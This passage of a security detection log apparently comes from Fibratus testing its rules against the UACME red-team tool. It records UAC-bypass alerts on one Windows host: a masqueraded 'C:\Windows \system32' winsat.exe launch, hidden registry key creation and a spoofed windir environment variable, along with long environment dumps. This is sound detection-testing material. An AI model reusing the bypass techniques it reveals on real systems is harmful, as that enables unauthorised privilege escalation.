Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:07:03+01:00 level=info msg=sending alert: [UAC bypass via trusted Windows directory masquerading]. Text: Event(s): + Seq: 5534474 + Pid: 11700 + Tid: 5656 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:07:01.4708012 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 3d8653000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffffad0df239c080, name➜ conhost.exe, pid➜ 12244, ppid➜ 11700, real_ppid➜ 11700, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 17:07:01.4708012 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 1764864596490727412, rule.name: UAC bypass via trusted Windows directory masquerading, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 11700 + Ppid: 3660 + Name: winsat.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows \system32\winsat.exe" + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 52 + Exe: C:\Users\nedo\AppData\Local\Temp\system32\winsat.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows \system32\winsat.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:07:04+01:00 level=info msg=sending alert: [UAC bypass via trusted Windows directory masquerading]. Text: Event(s): + Seq: 5537884 + Pid: 11700 + Tid: 5656 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:07:01.658898 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3126af000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffad0dde769080, name➜ cmd.exe, pid➜ 4192, ppid➜ 11700, real_ppid➜ 11700, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 17:07:01.6587681 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 10781054806005907456, rule.name: UAC bypass via trusted Windows directory masquerading, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 11700 + Ppid: 3660 + Name: winsat.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows \system32\winsat.exe" + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 52 + Exe: C:\Users\nedo\AppData\Local\Temp\system32\winsat.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows \system32\winsat.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:07:45+01:00 level=info msg=sending alert: [Hidden registry key creation]. Text: Hidden registry key HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\{7FC86BA8-FA5B-4A54-9154-13EBEA7D860B}\ created by process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 5607713 + Pid: 9812 + Tid: 15332 + Type: RegSetValue + CPU: 4 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:07:44.3664866 +0100 CET + Params: key_handle➜ ffffd605cc351c30, key_path➜ HKEY_USERS\S-1-5-21-2271034452-2606270099-984871569-1001_CLASSES\{7FC86BA8-FA5B-4A54-9154-13EBEA7D860B}\, status➜ Success + Metadata: rule.name: Hidden registry key creation, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1112, technique.name: Modify Registry, technique.ref: https://attack.mitre.org/techniques/T1112/ + + Pid: 9812 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 53 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 53] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:07:47+01:00 level=info msg=sending alert: [UAC bypass via Control Panel applet execution hijack]. Text: Event(s): source=action/alert.go:37 +time=2025-12-04T17:08:39+01:00 level=info msg=sending alert: [Fake system root environment variable manipulation]. Text: Event(s): + Seq: 5715145 + Pid: 9164 + Tid: 16724 + Type: RegSetValue + CPU: 4 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:08:37.5460056 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\{E92DB4B1-DFBA-4E63-A2F9-557EC1BF41CB}, key_handle➜ ffffd605c2c07a80, key_path➜ HKEY_CURRENT_USER\Environment\windir, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: Fake system root environment variable manipulation, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 9164 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 58 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 58] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files 